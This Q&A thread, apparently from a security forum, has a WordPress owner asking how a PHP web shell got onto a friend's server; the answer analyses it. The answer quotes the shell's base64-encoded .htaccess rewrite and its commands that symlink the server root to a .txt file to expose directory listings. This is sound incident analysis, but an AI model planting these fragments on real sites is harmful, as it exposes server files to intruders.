2

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't find a correct answer.

EDIT:-

Today I got to know that the WordPress site has been breached by brute-forcing the password (The password is strong). I still don't know how they managed to crack that password.

After cracking the password they logged in and uploaded the php files.After googling about Donnazmi.txt I found out that so many other sites are also hacked on or around the same day (july 13th). The hacks using the same script are still going on. The password for the WordPress server has been changed to more complex one and those php files have been deleted.

Thank you for the answers and comments. Sorry, I should have given more information while posting the question.

Improve this question
4
  • 7
    I'm not sure how we could answer this without any data or information. Best guess is a vulnerable plug-in.
    – schroeder ♦
    Aug 5, 2015 at 17:44
  • 3
    Well you need to be more specific as there are many possibilities.
    – Michal Koczwara
    Aug 5, 2015 at 17:51
  • In it's current form, this question really isn't answerable. If you would rephrase it as What steps can be taken to retrace a Shell Upload on a WordPress installation it might still be closed as too broad, but I could at least imagine possible answers (look at logs, look at vulnerability databases for new vulnerabilities in your plugins/themes, check the versions of your software, etc), which might be nice as a canonical answer for these types of questions, which do come up quite often.
    – tim
    Aug 5, 2015 at 20:44
  • Like mentioned there isn't enough data to help us pin point how. There are many ways this could of been done. From a vulnerable out dated version of WP to a vulnerable plugin or even a vulnerable server set up. Most likely one of the first two. Chances are you will find in your logs where someone probed your server looking for vulnerable files. Then shortly after you might see a log for one of those files you have along with a long query string that was used to inject the shell upload. Not always, but usually typical a find with WP hack attempts.
    – Bacon Brad
    Aug 5, 2015 at 22:30

1 Answer 1

Reset to default
6

Once the file is uploaded to the server (exploiting a bug in a wordpress theme), the .htaccess is reconfigured in a way that any .txt file will be interpreted by the server as a .php script and it will follow symlinks.

The next step is the trick, he makes a symlink from / to Donnazmi.txt (2 ways)

The code isn't really complex, it prints an html form with the needed configs to run the exploit steps (you need to send a post request with Donnazmi as a post key to see it).

Code explained:

.htaccess reconfig:

$fvckem = 'T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';

This is a base64 encoded string, which translates into:

Options Indexes FollowSymLinks   
DirectoryIndex ssssss.htm        
AddType txt .php                 
AddHandler txt .php

So with that config:

$file = fopen(".htaccess","w+"); // open the file
$write = fwrite ($file ,base64_decode($fvckem)); 
// write the new config inside the file

Symlinks:

// 1. this is a link with the linux comand `ln`
system('ln -s / Donnazmi.txt');
// 2. this is a link php native function
$Donnazmi = symlink("/","Donnazmi.txt");

After the execution, each time he visits example.com/Donnazmi.txt he sees a list of the root directory of your server (Options Indexes tm).

So yes rebuild that machine. and check the software before installing it.

Improve this answer

Not the answer you're looking for? Browse other questions tagged .